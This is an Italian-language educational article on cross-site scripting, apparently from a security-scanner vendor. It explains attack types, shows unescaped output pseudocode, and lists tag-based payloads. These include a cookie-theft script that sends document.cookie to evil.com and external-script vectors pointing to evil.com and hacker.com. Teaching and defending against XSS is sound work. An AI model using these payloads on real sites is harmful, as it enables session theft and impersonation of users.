Cross-site Scripting (XSS) è un attacco di iniezione di codice lato client. L’attaccante mira a eseguire script dannosi in un browser web della vittima includendo codice dannoso in una pagina web legittima o in un’applicazione web. L’attacco effettivo si verifica quando la vittima visita la pagina web o l’applicazione web che esegue il codice dannoso. La pagina web o l’applicazione web diventa un veicolo per consegnare lo script dannoso al browser dell’utente. I veicoli vulnerabili che sono comunemente usati per attacchi di Cross-site Scripting sono forum, bacheche e pagine web che permettono commenti.

Una pagina web o un’applicazione web è vulnerabile all’XSS se utilizza input utente non sanitizzati nell’output che genera. Questo input dell’utente deve poi essere analizzato dal browser della vittima. Gli attacchi XSS sono possibili in VBScript, ActiveX, Flash e persino nei CSS. Tuttavia, sono più comuni in JavaScript, principalmente perché JavaScript è fondamentale per la maggior parte delle esperienze di navigazione.

“Il Cross-site Scripting non è un problema dell’utente?”

Se un attaccante può abusare di una vulnerabilità XSS su una pagina web per eseguire JavaScript arbitrario nel browser di un utente, la sicurezza di quel sito o applicazione web vulnerabile e dei suoi utenti è stata compromessa. XSS non è un problema dell’utente come qualsiasi altra vulnerabilità di sicurezza. Se colpisce i vostri utenti, colpisce voi.

Cross-site Scripting può anche essere usato per deturpare un sito web invece di colpire l’utente. L’attaccante può usare gli script iniettati per cambiare il contenuto del sito web o anche reindirizzare il browser a un’altra pagina web, per esempio, una che contiene codice dannoso.

Cosa può fare l’attaccante con JavaScript?

Le vulnerabilità XSS sono percepite come meno pericolose rispetto, per esempio, alle vulnerabilità SQL Injection. Le conseguenze della capacità di eseguire JavaScript su una pagina web possono non sembrare terribili all’inizio. La maggior parte dei browser web eseguono JavaScript in un ambiente strettamente controllato. JavaScript ha un accesso limitato al sistema operativo dell’utente e ai suoi file. Tuttavia, JavaScript può ancora essere pericoloso se usato in modo improprio come parte di contenuti dannosi:

• Il JavaScript dannoso ha accesso a tutti gli oggetti a cui ha accesso il resto della pagina web. Questo include l’accesso ai cookie dell’utente. I cookie sono spesso utilizzati per memorizzare i token di sessione. Se un attaccante può ottenere il cookie di sessione di un utente, può impersonare quell’utente, eseguire azioni per conto dell’utente e ottenere l’accesso ai dati sensibili dell’utente.
• JavaScript può leggere il DOM del browser e apportarvi modifiche arbitrarie. Fortunatamente, questo è possibile solo all’interno della pagina in cui JavaScript è in esecuzione.
• JavaScript può utilizzare l’oggetto XMLHttpRequest per inviare richieste HTTP con contenuti arbitrari a destinazioni arbitrarie.
• JavaScript nei browser moderni può utilizzare le API HTML5. Per esempio, può ottenere l’accesso alla geolocalizzazione dell’utente, alla webcam, al microfono e persino a file specifici dal file system dell’utente. La maggior parte di queste API richiedono l’opt-in dell’utente, ma l’attaccante può utilizzare l’ingegneria sociale per aggirare questa limitazione.

Quanto sopra, in combinazione con l’ingegneria sociale, permette ai criminali di mettere a segno attacchi avanzati tra cui il furto di cookie, l’inserimento di trojan, il keylogging, il phishing e il furto di identità. Le vulnerabilità XSS forniscono il terreno perfetto per l’escalation degli attacchi a quelli più seri. Il Cross-site Scripting può anche essere usato insieme ad altri tipi di attacchi, per esempio, Cross-Site Request Forgery (CSRF).

Ci sono diversi tipi di attacchi Cross-site Scripting: stored/persistent XSS, reflected/non-persistent XSS, e DOM-based XSS. Puoi leggere di più su di loro in un articolo intitolato Tipi di XSS.

Come funziona il Cross-site Scripting

Ci sono due fasi in un tipico attacco XSS:

1. Per eseguire codice JavaScript dannoso nel browser di una vittima, un attaccante deve prima trovare un modo per iniettare codice dannoso (payload) in una pagina web che la vittima visita.
2. Dopo di che, la vittima deve visitare la pagina web con il codice dannoso. Se l’attacco è diretto a vittime particolari, l’attaccante può utilizzare l’ingegneria sociale e/o il phishing per inviare un URL dannoso alla vittima.

Perché la prima fase sia possibile, il sito web vulnerabile deve includere direttamente l’input dell’utente nelle sue pagine. Un attaccante può quindi inserire una stringa dannosa che sarà utilizzata all’interno della pagina web e trattata come codice sorgente dal browser della vittima. Ci sono anche varianti di attacchi XSS in cui l’attaccante attira l’utente a visitare un URL usando l’ingegneria sociale e il payload è parte del link che l’utente clicca.

Quello che segue è uno snippet di pseudocodice lato server che viene utilizzato per visualizzare il commento più recente su una pagina web:

print "<html>"print "<h1>Most recent comment</h1>"print database.latestCommentprint "</html>"

Lo script di sopra prende semplicemente l’ultimo commento da un database e lo include in una pagina HTML. Presume che il commento stampato consista solo di testo e non contenga tag HTML o altro codice. È vulnerabile a XSS, perché un attaccante potrebbe inviare un commento che contiene un payload dannoso, per esempio:

<script>doSomethingEvil();</script>

Il server web fornisce il seguente codice HTML agli utenti che visitano questa pagina web:

<html><h1>Most recent comment</h1><script>doSomethingEvil();</script></html>

Quando la pagina si carica nel browser della vittima, lo script dannoso dell’attaccante viene eseguito. Il più delle volte, la vittima non se ne rende conto e non è in grado di prevenire tale attacco.

Rubare i cookie utilizzando XSS

I criminali spesso usano XSS per rubare i cookie. Questo permette loro di impersonare la vittima. L’attaccante può inviare il cookie al proprio server in molti modi. Uno di questi è quello di eseguire il seguente script client-side nel browser della vittima:

<script>window.location="http://evil.com/?cookie=" + document.cookie</script>

La figura qui sotto illustra passo per passo un semplice attacco XSS.

1. L’attaccante inietta un payload nel database del sito web inviando un modulo vulnerabile con contenuto JavaScript dannoso.
2. La vittima richiede la pagina web dal server web.
3. Il server web serve al browser della vittima la pagina con il payload dell’attaccante come parte del corpo HTML.
4. Il browser della vittima esegue lo script malevolo contenuto nel corpo HTML. In questo caso, invia il cookie della vittima al server dell’attaccante.
5. L’attaccante ora deve semplicemente estrarre il cookie della vittima quando la richiesta HTTP arriva al server.
6. L’attaccante può ora utilizzare il cookie rubato della vittima per l’impersonificazione.

Per saperne di più su come vengono condotti gli attacchi XSS, si può fare riferimento all’articolo intitolato A comprehensive tutorial on cross-site scripting.

Vettori di attacco cross-site scripting

Quella che segue è una lista di comuni vettori di attacco XSS che un attaccante potrebbe utilizzare per compromettere la sicurezza di un sito web o di un’applicazione web attraverso un attacco XSS. Una lista più estesa di esempi di payload XSS è mantenuta dall’organizzazione OWASP: XSS Filter Evasion Cheat Sheet.

<script> tag

Il tag <script> è il payload XSS più diretto. Un tag script può fare riferimento a codice JavaScript esterno o si può incorporare il codice all’interno del tag script stesso.

<!-- External script --><script src=http://evil.com/xss.js></script><!-- Embedded script --><script> alert("XSS"); </script>

Eventi JavaScript

Gli attributi di eventi JavaScript come onload e onerror possono essere usati in molti tag diversi. Questo è un vettore di attacco XSS molto popolare.

<!-- onload attribute in the <body> tag --><body onload=alert("XSS")>

<body> tag

Un payload XSS può essere consegnato all’interno del <body> utilizzando gli attributi evento (vedi sopra) o altri attributi più oscuri come l’attributo background.

<!-- background attribute --><body background="javascript:alert("XSS")">

<img> tag

Alcuni browser eseguono JavaScript trovato negli attributi <img>.

<!-- <img> tag XSS --><img src="javascript:alert("XSS");"><!-- tag XSS using lesser-known attributes --><img dynsrc="javascript:alert('XSS')"><img lowsrc="javascript:alert('XSS')">

<iframe> tag

Il tag <iframe> permette di incorporare un’altra pagina HTML nella pagina corrente. Un IFrame può contenere JavaScript ma JavaScript nell’IFrame non ha accesso al DOM della pagina madre a causa della Content Security Policy (CSP) del browser. Tuttavia, gli IFrame sono ancora molto efficaci per mettere a segno attacchi di phishing.

<!-- <iframe> tag XSS --><iframe src="http://evil.com/xss.html">

<input> tag

In alcuni browser, se l’attributo type del tag <input> è impostato su image, può essere manipolato per incorporare uno script.

<!-- <input> tag XSS --><input type="image" src="javascript:alert('XSS');">

< link> tag

Il tag <link>, che è spesso usato per collegare fogli di stile esterni, può contenere uno script.

<!-- <link> tag XSS --><link rel="stylesheet" href="javascript:alert('XSS');">

<table> tag

L’attributo background dei tag <table> e <td> può essere sfruttato per fare riferimento ad uno script invece che ad un’immagine.

<!-- <table> tag XSS --><table background="javascript:alert('XSS')"><!-- <td> tag XSS --><td background="javascript:alert('XSS')">

<div> tag

Il tag <div>, simile ai tag <table> e <td>, può anche specificare uno sfondo e quindi incorporare uno script.

<!-- <div> tag XSS --><div style="background-image: url(javascript:alert('XSS'))"><!-- <div> tag XSS --><div style="width: expression(alert('XSS'));">

<oggetto> tag

Il <object> tag può essere utilizzato per includere uno script da un sito esterno.

<!-- <object> tag XSS --><object type="text/x-scriptlet" data="http://hacker.com/xss.html">

Il tuo sito o applicazione web è vulnerabile al Cross-site Scripting

Le vulnerabilità del Cross-site Scripting sono una delle più comuni vulnerabilità delle applicazioni web. L’organizzazione OWASP (Open Web Application Security Project) elenca le vulnerabilità XSS nel loro documento OWASP Top 10 2017 come il secondo problema più diffuso.

Fortunatamente, è facile testare se il tuo sito web o applicazione web è vulnerabile a XSS e altre vulnerabilità eseguendo una scansione web automatizzata utilizzando lo scanner di vulnerabilità Acunetix, che include un modulo specializzato per lo scanner XSS. Prendi una demo e scopri di più sull’esecuzione di scansioni XSS sul tuo sito o applicazione web. Un esempio di come puoi rilevare le vulnerabilità XSS cieche con Acunetix è disponibile nel seguente articolo: How to Detect Blind XSS Vulnerabilities.

Come prevenire gli XSS

Per tenerti al sicuro dagli XSS, devi sanitizzare il tuo input. Il codice della tua applicazione non dovrebbe mai inviare i dati ricevuti come input direttamente al browser senza controllarli per codice dannoso.

Per maggiori dettagli, fai riferimento ai seguenti articoli: Prevenire gli attacchi XSS e Come prevenire il Cross-site Scripting basato su DOM. Potete anche trovare informazioni utili nel XSS Prevention Cheat Sheet mantenuto dall’organizzazione OWASP.

Domande frequenti